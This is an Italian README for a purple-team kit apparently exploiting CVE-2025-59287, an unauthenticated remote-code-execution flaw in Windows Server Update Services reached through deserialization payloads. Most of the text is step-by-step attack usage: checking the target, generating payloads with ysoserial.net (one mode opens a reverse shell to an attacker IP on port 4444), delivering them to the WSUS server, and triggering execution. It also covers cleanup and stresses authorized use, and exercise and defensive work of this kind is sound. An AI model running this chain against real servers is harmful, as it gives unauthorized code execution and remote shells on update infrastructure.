
Script di esercitazione per il team purple che dimostrano CVE-2025-59287, una RCE non autenticata in WSUS tramite iniezione di payload di deserializzazione dannosa nel database WSUS.
Script per esercitazioni purple team per CVE-2025-59287, una vulnerabilità di esecuzione remota di codice non autenticata in Windows Server Update Services (WSUS).
Solo uso autorizzato. Da utilizzare in ambienti di esercitazione controllati contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta al test.
La vulnerabilità sfrutta gli endpoint SOAP di WSUS accessibili in modo anonimo per iniettare un payload di deserializzazione dannoso nel database di WSUS. Il payload viene eseguito quando si apre la console amministrativa di WSUS o quando viene attivata una sincronizzazione.
8530ysoserial\Release\ (vedi Setup)wsus-cve-2025-59287/
├── 1-check.ps1 # Verify target is vulnerable
├── 2-generate.ps1 # Generate serialized payload blob
├── 3-deliver.ps1 # Deliver payload to WSUS server
├── 4-verify.ps1 # Verify execution and clean up
├── ysoserial/ # Place ysoserial.net release here (not committed)
│ └── Release/
│ └── ysoserial.exe
└── README.md
Clona o scarica il repository. Aggiungi ysoserial.net in modo che il percorso corrisponda a ysoserial\Release\ysoserial.exe.
Scarica ysoserial.net da: https://github.com/pwntester/ysoserial.net/releases/tag/v1.36 Questa operazione attiverà Windows Defender per impostazione predefinita
Esegui tutti gli script dalla radice del repository.
.\1-check.ps1 -TargetURL "http://<wsus-ip>:8530"
File drop (nessun listener necessario, consigliato per primo):
.\2-generate.ps1 -Mode filedrop
Reverse shell:
.\2-generate.ps1 -Mode shell -LHost <attacker-ip> -LPort 4444
.\3-deliver.ps1 -TargetURL "http://<wsus-ip>:8530"
Sul server WSUS aprire la console amministrativa tramite Start > Windows Server Update Services, oppure attivare una sincronizzazione tramite PowerShell:
$wsus = [Microsoft.UpdateServices.Administration.AdminProxy]::GetUpdateServer('localhost', $false, 8530)
$wsus.GetSubscription().StartSynchronization()
Verifica l'esecuzione:
.\4-verify.ps1
Verifica e pulisci tutti gli artefatti:
.\4-verify.ps1 -Cleanup
Dalla box d'attacco tramite condivisione amministrativa:
.\4-verify.ps1 -WsusIP <wsus-ip> -Cleanup
Dopo la pulizia, rimuovi il computer dell'esercitazione dalla console WSUS, sotto Computers.